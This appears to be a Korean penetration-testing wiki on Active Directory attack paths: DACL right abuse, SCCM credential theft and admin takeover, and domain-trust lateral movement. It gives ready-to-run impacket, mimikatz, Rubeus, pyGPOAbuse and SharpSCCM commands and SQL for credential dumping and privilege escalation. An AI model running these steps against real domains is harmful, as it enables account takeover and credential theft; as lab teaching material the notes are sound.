WriteUAC는 도메인 객체의 userAccountControl 속성을 변경할 수 있는 권한입니다. 블러드하운드에서 등록된 권한이 아니기 때문에 실제로 권한을 가진 객체라고 하더라도 별도로 표시되지는 않습니다.

userAccountControl 속성에 대해 쓰기 권한이 있다면 할 수 있는 행위는 많은 편입니다. 모든 속성 플래그는 [Microsoft 공식 문서](https://learn.microsoft.com/ko-kr/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties) 나와있으며, 다음은 침투 테스트에서 사용할 수 있는 속성입니다.

<table><thead><tr><th width="271">속성</th><th>설명</th></tr></thead><tbody><tr><td>ACCOUNTDISABLE</td><td>계정 활성화/비활성화</td></tr><tr><td>DONT_REQUIRE_PREAUTH</td><td>Do not require Kerberos preauthentication 활성화/비활성화</td></tr></tbody></table>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="DONT_REQUIRE_PREAUTH"><code class="lang-powershell"><strong># 사용자 크리덴셜 변수화
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
$target  = 'user-B'

<strong># 사용자 UAC 비트 수정(백업 필요 시 백업 해야함)
</strong>$uacOld  = (Get-ADUser $target -Properties userAccountControl -Credential $cred).userAccountControl
$uacNew  = $uacOld -bor 0x00400000
Set-ADUser $target -Replace @{userAccountControl = $uacNew} -Credential $cred
</code></pre>

<pre class="language-powershell" data-title="ACCOUNTDISABLE"><code class="lang-powershell"><strong># 모든 비활성화 계정 열거
</strong>Get-ADUser -Filter 'Enabled -eq $false' -Properties Enabled | Select-Object Name, SamAccountName, Enabled

<strong># 계정 활성화/비활성화
</strong>Disable-ADAccount -Identity user-B
Enable-ADAccount  -Identity user-B
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 모든 비활성화 계정 열거
</strong>ldapsearch -x -H ldap://192.168.1.11 -D 'user-A@contoso.com' -w 'Password123!' -b "DC=contoso,DC=com" "(&#x26;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName distinguishedName

<strong># uac 속성 변경 코드 다운로드
</strong>git clone https://github.com/Mick3y-ko/modifyContribute.git
cd modifyContribute
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

<strong># 원하는 속성 활성화/비활성화
</strong>python3 modifyContribute.py -d contoso.com -dc-ip 192.168.1.11 -u user-A -p 'Password123!' --target user-B --asrep enable
</code></pre>

{% endtab %}
{% endtabs %}


# AddSelf

객체에 대해 Add/remove self as member 권한이 있다면 블러드하운드에서 AddSelf로 표시되며 스스로를 도메인 멤버에서 추가/제거 할 수 있습니다.

<figure><img src="/files/IB7TlJmlBC9IvSEsvTNA" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># 저장한 객체정보를 권한이 있는 그룹에 위임
</strong>Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred

<strong># 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
</strong>Get-DomainGroupMember -Identity 'local_member'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 권한이 있는 계정의 TGT를 환경변수에 저장 후 사용
</strong>bloodyAD -d 'contoso.com' -k --host 'dc01.contoso.com' add groupMember 'LOCAL_MEMBER' 'user-A'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17358095502363-AddSelf>" %}


# AddMembers

도메인 그룹에 대해 Write Members 권한을 가졌다면 블러드하운드에서 AddMembers로 표시됩니다. AddSelf는 스스로를 그룹에 추가/제거할 수 있는 권한인 반면, AddMembers는 다른 사용자를 그룹에 추가/제거할 수 있습니다.

<figure><img src="/files/0FxDgg2waspEINefVvrQ" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 개체 정보 변수화
</strong>$pwd = ConvertTo-SecureString &#x3C;PASS> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(&#x3C;DOMAIN\USER>, $pwd)

<strong># 그룹에 사용자 추가
</strong>Add-DomainGroupMember -Credential $creds -Identity &#x3C;Group> -Members &#x3C;USER> -Verbose

<strong># 그룹 사용자 조회
</strong>Get-DomainGroupMember -Identity &#x3C;Group> | Select &#x3C;USER>

<strong># 그룹에 사용자 삭제
</strong>Remove-DomainGroupMember -Credential $Cred
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 그룹에 멤버 추가/삭제
</strong>bloodyAD --host 192.168.1.11 -u user-A -p 'Password123!' add groupMember local-member user-B
bloodyAD --host 192.168.1.11 -u user-A -p 'Password123!' remove groupMember local-member user-B
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse>" %}


# AddAllowedToAct

객체에 대해 Write msDS-AllowedToActOnBehalfOfOtherIdentity 권한이 있다면 블러드하운드에서 AddAllowedToAct로 표시되며 [Resource Based Constrained Delegation](/data-theft/active-directory/resource-based-constrained-delegation) 공격이 가능합니다.&#x20;

<figure><img src="/files/1MyTP2iEKnpMQo5n6pCt" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong># 새로운 머신 계정 생성
</strong>impacket-addcomputer -computer-name 'RBCD$' -computer-pass 'Password123!' -dc-host ad01.contoso.com contoso.com/user-A:'Password123!'

<strong># 타겟의 RBCD에 계정 등록
</strong>impacket-rbcd -delegate-from 'RBCD$' -delegate-to 'AD01$' -action write contoso.com/user-A:'Password123!'

<strong># 등록된 계정을 통해 TGT 발급
</strong>impacket-getST -spn cifs/ad01.contoso.com -impersonate Administrator contoso.com/RBCD$:'Password123!'
export KRB5CCNAME=Administrator.ccache

<strong># NTDS 덤핑
</strong>crackmapexec smb contoso.com -u Administrator --use-kcache --ntds
</code></pre>

## References

{% embed url="<https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py>" %}

{% embed url="<https://dan-feliciano.com/2024/07/14/phantom/>" %}

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17322164218267-AllowedToAct>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/privilege-escalation/ad-dacl/addallowedtoact>" %}


# Inherited GenericAll

도메인 OU / 컨테이너에  GenericWrite 권한이 있다면, 주체는 해당 그룹 하위의 객체들에 대한 DACL 수정 권한을 가집니다. DACL 악용 도구 중 impacket-dacledit은 inheritance 옵션을 통해 하위 객체들에 대한 권한을 한 번에 수정할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># 하위 객체들에 대한 상속된 DACL 변경
</strong>impacket-dacledit -action write -rights FullControl -inheritance -principal Attacker -target-dn "OU=IT,DC=PENTEST,DC=LOCAL" PENTEST.LOCAL/Attacker:'Password123!' -dc-ip 192.168.1.9

<strong># 이전 환경으로 복구
</strong>impacket-dacledit -action restore -file dacledit.bak pentest/Attacker:'Password123!' -dc-ip 192.168.1.9
</code></pre>

## Practice

<figure><img src="/files/AmjQM4EKYvao54RWJiyg" alt=""><figcaption><p>OU에 대한 GenericAll</p></figcaption></figure>

실습 환경에서 Attacker 계정은 IT OU에 대한 GenericAll 권한이 있습니다. 이 권한을 이용하여 IT 하위 모든 객체에 대한 DACL을 수정할 수 있습니다. 단, OU 하위에 속한 객체가 Domain Admins / Enterprise Admins 등의 도메인 주요 관리자 계정일 경우 adminCount 속성 값이 1로 설정되는데 이러한 계정들은 DACL을 조작할 권한이 없기 때문에 패스됩니다.

IT 하위에는 VICTIM과 DHSHIN 도메인 계정 2개가 속해있으며, 이 중 DHSHIN은 Domain Admins 그룹에 속해있기 때문에 adminCount 값이 1으로 설정되어 있어 예외 대상입니다.

<figure><img src="/files/0guiom1o5oRobjSKLvno" alt=""><figcaption><p>IT OU 하위 객체</p></figcaption></figure>

<figure><img src="/files/KIYJ5WBlnEzjBraPLLOv" alt=""><figcaption><p>adminCount 속성</p></figcaption></figure>

impacket-dacledit 도구를 사용하여 IT OU 하위에 있는 객체들에 대한 DACL을 변경합니다.

<figure><img src="/files/8rTwKsluivjkb360i0b6" alt=""><figcaption><p>DACL 변경</p></figcaption></figure>

명령 실행 이후 VICTIM 계정만이 Attacker 계정의 GenericAll 아웃바운드 객체가 된 것이 확인됩니다.

<figure><img src="/files/hWN4zAx8V7UppXl3RMcz" alt=""><figcaption><p>변경된 DACL</p></figcaption></figure>


# AllExtendedRights

AllExtendedRights 권한은 도메인 객체에 대한 확장 권한으로 객체의 종류에 따라서 사용할 수 있는 공격이 달라집니다. 도메인에 대한 AllExtendedRights는 종종 블러드하운드에서 표시되지 않는 경우가 있지만, 그렇더라도 crackmapexec 등의 상용 도구를 통해 DCSync 공격이 가능합니다.

| 도메인 객체 | 악용                                                                |
| ------ | ----------------------------------------------------------------- |
| 사용자    | [ForceChangePassword](/active-directory/dacl/forcechangepassword) |
| 컴퓨터    | [AddAllowedToAct](/active-directory/dacl/addallowedtoact)         |
| 도메인    | [DCSync](/data-theft/active-directory/dcsync)                     |

## References

{% embed url="<https://www.hackingarticles.in/abusing-ad-dacl-allextendedrights/>" %}


# RecycleBin

도메인의 Recyle Bin이 활성화 되어있으면 Deleted Objects 컨테이너가 생성되며 삭제된 도메인 객체는 기본적으로 180일 보관됩니다.

객체에 대한 GenericWrite 권한이 있다면 삭제된 객체를 복원할 수 있습니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 삭제된 도메인 계정 열거
</strong>Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

<strong># 복원
</strong>Get-ADObject -Filter 'isDeleted -eq $true -and Name -eq '"*mick3y*"' -IncludeDeletedObjects | Restore-ADObject
</code></pre>


# Create all child objects

Create all child objects 권한은 객체 하위에 새로운 객체를 추가할 수 있는 권한입니다.

GPO(group policy object)에 대해 이 권한이 있다면 정책 내 작업 스케줄을 생성하여 정책의 영향을 받는 모든 객체들에게 명령을 수행할 수 있습니다.

{% hint style="info" %}
GPO와 연결된 객체들은 기본적으로 90분 단위로 DC와 통신하여 정책을 갱신합니다.
{% endhint %}

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># GPO 목록 열거
</strong>ldapsearch -x -H ldap://'&#x3C;dc-ip>' -D  '&#x3C;user@domain>' -w '&#x3C;password>' -b "CN=Policies,CN=System,DC='&#x3C;domain>',DC='&#x3C;domain>'" "(objectClass=groupPolicyContainer)" displayName

<strong># pygpoabuse 설치 및 실행
</strong>git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 pygpoabuse.py '&#x3C;domain/user:password>' -gpo-id '&#x3C;gpo-uuid>' -command "net localgroup Administrators '&#x3C;username>' /add"

<strong># 생성한 정책 정리
</strong>python3 pygpoabuse.py '&#x3C;domain/user:password>' -gpo-id '&#x3C;gpo-uuid>' --clean
</code></pre>

현재 도메인 GPO에 대해 권한을 가진 객체들의 수준을 열거하는 UNIX 기반 도구는 없기 때문에 정확하게 권한을 가진 객체로 타겟해야 할 경우 파워쉘을 통해 수준을 확인해야 합니다.

{% hint style="info" %}
2025년 10월 3일을 기준으로 BloodHound에는 Create all child objects 권한을 가진 객체를 표시하지 않습니다.
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell"><strong># gpo uuid를 기반으로 권한을 가진 객체 열거
</strong>dsacls "CN={'&#x3C;gpo-uuid>'},CN=Policies,CN=System,DC='&#x3C;domain>',DC='&#x3C;domain>'"
</code></pre>

## Root Cause

GPO에 대해서 Create all child objects 권한이 할당되면 `C:\Windows\SYSVOL\sysvol\<domain>\Policies\<gpo-uuid>\Machine\Preferences\ScheduledTasks` 경로에 스케줄 파일을 생성할 수 있습니다.

pygpoabuse 프로젝트의 scheduledtask.py 파일에서 다음 코드를 확인할 수 있습니다.

<figure><img src="/files/U2uYfyUlk2pHa9JE2ORB" alt=""><figcaption><p>scheduledtask.py</p></figcaption></figure>

이 파이썬 스크립트로 인해 GPO 스케줄 경로에는 ScheduledTasks.xml 파일이 생성되고, 해당 스케줄의 내용은 로컬 관리자 계정을 생성합니다. 해당 파일에 하드코딩된 계정 정보를 변경하여 실행합니다.

<figure><img src="/files/ZPlssSHFP5uiYoUlCQGT" alt=""><figcaption><p>ScheduledTasks.xml</p></figcaption></figure>

## Demo

<figure><img src="/files/04sdDqxzy0vEjk2TehCX" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://medium.com/@ericwsound/gpo-abuse-privilege-escalation-to-local-admin-cb212a1b4fdc>" %}


# SCCM

Microsoft Configuration Manager는 Windows 컴퓨터를 관리하는 목적으로 제공되는 소프트웨어입니다.&#x20;

Systems Management Server에서 시작되었지만 System Center Configuration Manager로 이름이 바뀐 이후 많은 미디어에서 SCCM으로 불리며 현재까지 SCCM으로 통용됩니다.

근본적으로 SCCM은 도메인 내 시스템들에게 소프트웨어 등을 배포하기 위한 중앙 관리형 솔루션입니다. 서버는 리소스를 받게 할 클라이언트를 디바이스 컬렉션 단위로 지정합니다.

<figure><img src="/files/sxTk3I3B7jHmFM1s95Gm" alt=""><figcaption></figcaption></figure>

위 사진은 별도로 컬렉션을 생성하지 않은 SCCM 서버의 기본 컬렉션입니다. 컬렉션에 대한 접근 제어는 역할 기반으로 이뤄지기 때문에 실제로 존재하는 컬렉션의 결과보다 현재 권한에서 확인한 컬렉션의 결과가 더 적게 나타날 수 있습니다. (ADCS와 유사합니다.)

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># SCCM 서버 정보 확인
</strong>([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

<strong># 컬렉션 열거
</strong>.\SharpSCCM.exe get collections --no-banner

<strong># 사용자 그룹 권한 열거
</strong>.\SharpSCCM.exe get class-instances SMS_Admin --no-banner

<strong># 컬렉션 구성원 열거
</strong>.\SharpSCCM.exe get collection-members -n &#x3C;Collection> --no-banner
</code></pre>

## References

{% embed url="<https://networkinterview.com/sccm-configuration-manager/>" %}

{% embed url="<https://www.lenovo.com/kr/ko/glossary/sccm/?orgRef=https%3A%2F%2Fwww.google.com%2F&srsltid=AfmBOoragis_RenzmSWyjTU_EhvGkM7BXTYLGlenS5Im-YIUZakoo7bL>" %}


# Network Access Account

SCCM 서버에서 배포한 소프트웨어는 SDPs(Software Distribution Points)에 저장되어 있으며 클라이언트는 도메인 사용자임을 인증 후 SDPs(일반적으로 SMB)에 접근하여 소프트웨어를 다운로드 할 수 있습니다.

SDPs에 인가된 도메인 사용자임을 인증해야 하지만, 노트북과 같이 도메인에 조인할 수 없는 객체도 포함될 수 있습니다.

이처럼 NAA는 도메인에 속하지 않아 도메인 인증을 하지 못하는 상황(주로 노트북)에서도 공통 계정을 사용하여 SCCM 서버에 접속할 수 있도록 관리하는 특수 계정입니다.

## Abuse

환경 구성 : [NAA](/home-lab/active-directory/naa)

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 관리자 권한 세션에서 도구를 사용한 자격 증명 복호화
</strong>.\SharpSCCM.exe local naa -m wmi --no-banner

<strong># 로컬 디스크에 저장된 naa 자격 증명 덤프
</strong>.\SharpSCCM.exe local secrets -m disk
</code></pre>

{% endtab %}

{% tab title="UNIX" %}
NAA 자격증명 탈취 및 복호화를 위해서는 SCCM 서버에 등록된 디바이스를 사용해야 합니다. UNIX 환경에서는 새로운 디바이스를 등록할 수 있을 때, 등록과 동시에 NAA 정보를 덤프합니다.

현재 이 과정을 도와주는 SCCMSecrets.py는 생성한 더미 디바이스를 제거하는 로직은 지원하지 않습니다.

{% hint style="info" %}
디바이스 등록을 위해서는 이미 등록된 디바이스의 시스템 자격증명이 필요합니다.
{% endhint %}

<pre class="language-bash"><code class="lang-bash"><strong># SCCM 서버에 새로운 디바이스 등록 및 naa 자격증명 덤프
</strong>python3 SCCMSecrets.py policies --management-point http://'&#x3C;sccm-address>' --machine-name '&#x3C;machine>' --machine-pass '&#x3C;password>' -cn naaTest
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://learn.microsoft.com/en-us/intune/configmgr/core/plan-design/hierarchy/enhanced-http>" %}

{% embed url="<https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9>" %}

{% embed url="<https://www.guidepointsecurity.com/blog/sccm-exploitation-compromising-network-access-accounts/>" %}


# Auto approval

SCCM 서버에 디바이스를 등록하기 위해서는 관리자의 승인이 요구되지만, auto approval 설정이 되어있는 서버에서는 클라이언트가 요청하는 즉시 디바이스가 등록됩니다.

<figure><img src="/files/zYPSJjaBgTwcGEOHt5Cs" alt=""><figcaption></figcaption></figure>

## Abuse

환경 구성 : [Auto approval](/home-lab/active-directory/auto-approval)

<pre><code><strong># SCCM 서버에 새 디바이스 등록
</strong>python3 SCCMSecrets.py policies --management-point http://'&#x3C;sccm-address>' -cn autoapproval
</code></pre>


# Application Admin

SCCM 서버에 Full Administrator / Application Administrator 권한이 있다면 악성 프로그램을 컬렉션 클라이언트를 대상으로 배포시킬 수 있습니다.

프로그램 실행 명령시 클라이언트의 시스템에 접속 중인 사용자 세션으로 실행되며, 만약 로그인 하지 않은 시스템의 경우 명령은 실행되지 않습니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># 공유 폴더에 페이로드 업로드 후 컬렉션 시스템의 시스템 권한으로 실행
</strong>.\SharpSCCM.exe exec -n '&#x3C;collection>' -p '&#x3C;share-path>' --no-banner -s
</code></pre>

## Demo

<figure><img src="/files/V9BQTraYqtH0NMwJS250" alt=""><figcaption></figcaption></figure>


# Add RBAC Admins

SCCM 서버는 SQL Server 데이터베이스에 저장된 데이터를 기반으로 실행되기 때문에 SCCM 관리자는 서버의 데이터베이스 내 RBAC Admins 테이블에 저장된 유저를 신뢰합니다.

공격자가 SCCM 서버의 SQL Server에서 관리자 권한을 탈취하는데 성공했다면 데이터베이스를 조작하여 RBAC\_Admins 테이블에 새로운 데이터를 추가하여 SCCM 관리자를 탈취할 수 있습니다.

## Abuse

{% code title="hex ↔ SID 변환 코드" %}

```python
#!/usr/bin/env python3
import argparse
import struct
import re
import sys

def hex_to_sid(hex_str: str) -> str:
    hex_str = hex_str.replace("0x", "").replace(" ", "").strip()
    data = bytes.fromhex(hex_str)
    revision = data[0]
    sub_authority_count = data[1]
    identifier_authority = int.from_bytes(data[2:8], 'big')
    sub_authorities = [struct.unpack("<I", data[8 + i*4:12 + i*4])[0] for i in range(sub_authority_count)]
    sid_str = f"S-{revision}-{identifier_authority}-" + "-".join(str(x) for x in sub_authorities)
    return sid_str

def sid_to_hex(sid_str: str) -> str:
    parts = sid_str.strip().split('-')
    if len(parts) < 4 or parts[0].upper() != 'S':
        raise ValueError("SID 형식이 올바르지 않습니다. (예: S-1-5-21-...)")
    revision = int(parts[1])
    identifier_authority = int(parts[2])
    sub_authorities = list(map(int, parts[3:]))
    data = bytearray()
    data.append(revision)
    data.append(len(sub_authorities))
    data += identifier_authority.to_bytes(6, 'big')
    for sub in sub_authorities:
        data += struct.pack("<I", sub)
    return "0x" + data.hex()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", required=True, help="Input SID or HEX")
    args = parser.parse_args()
    user_input = args.input.strip()

    try:
        if re.match(r'^(0x)?[0-9a-fA-F\s]+$', user_input):
            print(f"[+] 입력값은 HEX로 감지됨")
            print(f"SID → {hex_to_sid(user_input)}")
        elif user_input.upper().startswith("S-"):  
            print(f"[+] 입력값은 SID로 감지됨")
            print(f"HEX → {sid_to_hex(user_input)}")
        else:
            print("[-] 입력 형식이 올바르지 않습니다. SID 또는 HEX 값을 입력하세요.")
            sys.exit(1)

    except Exception as e:
        print(f"[-] 오류 발생: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()
```

{% endcode %}

SCCM 관리자로 추가하려는 도메인 계정의 SID 값을 위 파이썬 코드를 통해 hex로 변환합니다. 변환기를 통해 나온 hex 값과 도메인 계정을 아래 쿼리에 삽입하여 SCCM 서버의 SQL Server에서 실행합니다.

{% code title="RBAC\_Admins 그룹원 등록 쿼리" %}

```sql
INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT '<user-sid-hex>', '<domain\user>', 0, 0, '', '', '', '', '<site-code>' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = '<domain\user>' );
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'contoso\test'), RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'contoso\test')  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );
```

{% endcode %}

## Demo

<figure><img src="/files/xqLjPaOKKK6agMno593y" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://www.truesec.com/hub/blog/sccm-tier-killer>" %}


# AD Trust

AD 트러스트는 서로 다른 도메인/포레스트 간 인증 정보를 신뢰하고 리소스를 공유할 수 있도록 돕는 서비스입니다.&#x20;

## 정보 수집

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 트러스트 모델 수집
</strong>Get-ADTrust -Filter * | Select-Object Name, Direction
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 트러스트 모델 수집
</strong>ldapsearch -x -H ldap://192.168.1.9 -D "Attack3r@pentest.local" -w "Password123!" -b "dc=pentest,dc=local" "(objectClass=trustedDomain)" name trustType TrustDirection
</code></pre>

{% endtab %}
{% endtabs %}

## 트러스트 모델

<figure><img src="/files/jpUHwQySL4B8JIY5nJYm" alt=""><figcaption></figcaption></figure>

<table><thead><tr><th width="166">모델</th><th>관계</th></tr></thead><tbody><tr><td>Forest trust</td><td>서로 다른 포레스트의 루트 트리 간에 이어지며 해당 루트 트리 하위 간에는 전이적 신뢰 관계</td></tr><tr><td>Root Tree Trust</td><td>같은 포레스트 내 다른 트리 루트 간 전이적 신뢰 관계</td></tr><tr><td>Parent/Child Trust</td><td>기존 상위 도메인 하위에 새로운 도메인이 조인될 경우 자동으로 부모/자식 관계가 맺어지는 양방향 전이적 신뢰 관계</td></tr><tr><td>External Trust</td><td>서로 다른 포레스트 내부 도메인 간의 비전이적 신뢰 관계</td></tr><tr><td>Shortcut Trust</td><td>커버로스 인증 경로를 단축하기 위한 포레스트 내부 도메인 간의 전이적 신뢰 관계</td></tr></tbody></table>

## 커버로스 인증 체계

외부 도메인에 대한 리소스 접근 시, 커버로스 8단계 인증을 거쳐야 합니다.

<figure><img src="/files/vWU40t5xmXt8lgecAK1j" alt="" width="563"><figcaption><p><a href="https://adsecurity.org/?p=1588">https://adsecurity.org/?p=1588</a></p></figcaption></figure>

1. 사용자는 도메인에 인증하여 TGT 발급 요청(AS-REQ)
2. KDC는 사용자의 자격 증명을 확인 후 TGT 발급(AS-REP)
3. 사용자는 외부 도메인 서비스에 대한 서비스 티켓을 요청(TGS-REQ)
4. KDC는 요청한 서비스가 외부 도메인임을 인지하고 레퍼럴 티켓 발급(TGS-REP)
5. 사용자는 레퍼럴 티켓을 통해 외부 도메인 KDC에 서비스 티켓 요청
6. 외부 도메인은 레퍼럴 티켓을 복호화하여 확인 후 서비스 티켓 발급
7. 사용자는 외부 서비스 이용

내부 도메인에 대한 TGS-REQ에서는 realm 필드를 내부 도메인으로 지정하되 sname-string 필드는 외부 SPN으로 지정합니다. 만약 외부 도메인이 같은 포레스트 내에 존재한다면 클라이언트가 요청한 sname-string이 실제로 유효한지 검증하고, 포레스트 외부에 존재한다면 트러스트 관계의 이름 접미사만 같다면 레퍼럴 티켓을 발급합니다.

<div><figure><img src="/files/E8D6MbMABMNnzwy1NPGs" alt=""><figcaption><p>TGS-REQ(내부 도메인)</p></figcaption></figure> <figure><img src="/files/rCEYOQXG9ObFoo2M7gB2" alt=""><figcaption><p>TGS-REP(내부 도메인)</p></figcaption></figure></div>

발급된 티켓을 가지고 외부 도메인에 서비스 티켓을 요청합니다. 이때는 처음 sname-string 필드에 명시했던 외부 도메인의 SPN을 기입하여 최종적으로 서비스에 대한 접근권을 획득합니다.

<div><figure><img src="/files/HA7aWdXKXoW52uRJHrBB" alt=""><figcaption><p>TGS-REQ(외부 도메인)</p></figcaption></figure> <figure><img src="/files/neQb5G0fvQWFQyzhl1nk" alt=""><figcaption><p>TGS-REP(외부 도메인)</p></figcaption></figure></div>

## References

{% embed url="<https://zindagitech.com/different-types-of-trusts-in-an-active-directory/>" %}

{% embed url="<https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d>" %}

{% embed url="<https://www.windows-active-directory.com/active-directory-trusts.html>" %}


# One way Trust

일방향 신뢰 관계는 서로가 서로의 리소스에 대해 접근하도록 허용하는 것이 아닌, 일방적으로 한 쪽만이 신뢰하고 접근할 수 있는 관계입니다.&#x20;

<figure><img src="/files/QELUQLcFkmF9h1ftmdd2" alt=""><figcaption><p>일방향 신뢰</p></figcaption></figure>

외부에서 접근하도록 허용하는 도메인을 신뢰하는 도메인(Trusting Domain)이라 부르고, 신뢰를 받기 때문에 외부 도메인의 리소스에 접근할 수 있는 도메인을 신뢰받는 도메인(Trusted Domain)이라고 부릅니다.

{% hint style="info" %}
신뢰받는 도메인은 신뢰하는 도메인으로 커버로스 인증 및 리소스 접근이 가능합니다.
{% endhint %}

신뢰 관계 구축 시 신뢰받는 도메인에는 신뢰받는 도메인 NetBIOS 이름에 $ 기호를 추가한 이름으로 신뢰 계정이 생성됩니다. 동시에 양 도메인의 TDO(Trusted Domain Object)에는 신뢰 패스워드가 생성되는데, 이 값이 신뢰 계정의 패스워드와 동일합니다.


# Domain Lateral movement

<figure><img src="/files/m5SJw9opURlix80v7uJ2" alt=""><figcaption></figcaption></figure>

ACS.LOCAL 도메인 객체는 PENTEST.WIKI 리소스에 접근하거나 정보 수집이 가능하지만 그 반대의 경우는 불가능한 상황을 일방향 신뢰 관계라고 하며 ACS를 신뢰받는 도메인, PENTEST를 신뢰하는 도메인이라고 합니다.

설계 의도 상 공격자가 PENTEST를 장악하더라도 ACS로 측면이동은 불가능한 게 맞지만, 신뢰 관계를 유지하기 위해 필수불가결한 신뢰 계정을 통해 공격자는 외부 도메인 정보수집 및 측면이동이 가능합니다.

## Abuse

{% code title="GUID 디코딩 코드" %}

```python
import base64
import uuid

# base64 문자열
b64_guid = ''

raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash"><strong># 장악한 도메인 TDO로부터 inter-realm key 인코딩 값 덤프
</strong>ldapsearch -x -H ldap://192.168.1.11 -D 'Administrator@pentest.wiki' -w 'Password123!' -b 'dc=pentest,dc=wiki' "(objectClass=trustedDomain)" objectGUID

<strong># inter-realm key NT 해시 덤프
</strong>mimikatz # lsadump::dcsync /domain:contoso.com /guid:'&#x3C;{guid}>'

<strong># 신뢰 계정의 TGT 발급 이후 SMB 인증을 통한 정보 수집
</strong>impacket-getTGT 'acs.local/pentest$' -hashes :'&#x3C;nt-hash>'
nxc smb 'acs.local' -u 'pentest$' -k --users
</code></pre>

## Demo

<figure><img src="/files/XvCQ5hfk7xQfw5NSO5pS" alt=""><figcaption></figcaption></figure>


# Trust Account TGT

A 도메인은 B 도메인을 신뢰하지만 B 도메인은 A 도메인을 신뢰하지 않는 일방향적 신뢰 관계에서는 B 도메인만이 A 도메인에 인증하거나 리소스에 접근하는 것이 허용됩니다.

신뢰가 구성되면 신뢰받는 도메인에는 신뢰하는 도메인의 NetBIOS 이름으로 된 신뢰 계정이 생성되며, 이 계정의 패스워드는 두 도메인이 공유하는 신뢰 패스워드가 됩니다.

따라서 신뢰하는 도메인을 장악하여 신뢰 패스워드를 덤프한다면, 신뢰받는 도메인에 저장된 신뢰 계정의 자격 증명을 이용한 티켓을 발급하여 리소스에 접근할 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># TDO GUID 열거
</strong>Get-ADObject -Filter 'objectClass -eq "trustedDomain"'

<strong># 신뢰 패스워드 덤프
</strong>.\mimikatz.exe "lsadump::dcsync /guid:{f2599de1-3401-41dc-967a-80f50343cf1e} /domain:PENTEST.LOCAL" "exit"

<strong># 트러스트 도메인 SID 열거
</strong>.\mimikatz.exe "lsadump::trust" "exit"

<strong># 티켓 생성
</strong>.\Rubeus.exe asktgt /user:pentest$ /domain:contoso.com /rc4:ae8ac45464d823b0549450e3e803151f /nowrap /ptt

<strong># 커버로스팅 등의 도메인 공격
</strong>.\Rubeus.exe kerberoast /domain:contoso.com
</code></pre>

{% endtab %}

